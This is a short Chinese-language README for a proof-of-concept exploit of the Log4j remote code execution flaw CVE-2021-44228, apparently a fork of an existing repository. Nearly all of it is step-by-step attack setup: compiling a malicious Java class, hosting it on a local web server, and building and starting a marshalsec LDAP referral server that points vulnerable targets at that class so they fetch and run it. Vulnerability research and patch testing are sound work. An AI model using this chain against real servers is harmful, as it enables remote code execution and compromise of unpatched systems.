Apache Log4j CVE-2021-44228 GK7 PoC

步骤

1. 编译 Log4jRCE.java 并将 .class 文件移动到 Web 服务器（例如：本地 PHP）

   1. cd src/main/java
   2. javac Log4jRCE.java
   3. 将 .class 文件移动到 Web 服务器或本地启动一个 PHP，例如：php -S 127.0.0.1:8888

2. 启动 LDAP 服务器

   1. git clone [email protected]:Grupo-Kapa-7/marshalsec.git
   2. cd marshalsec
   3. mvn clean package -DskipTests
   4. start ldap server java -cp target/marshalsec-0.0.3-SNAPSHOT-GK7Threats-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8888/#Log4jRCE"

3. 为了测试 PoC，修改 src/main/java/log4j.java 文件，并将 LDAP 服务器 URL 更改为您想要的。

Repo Original

https://github.com/tangxiaofeng7/CVE-2021-44228-Apache-Log4j-Rce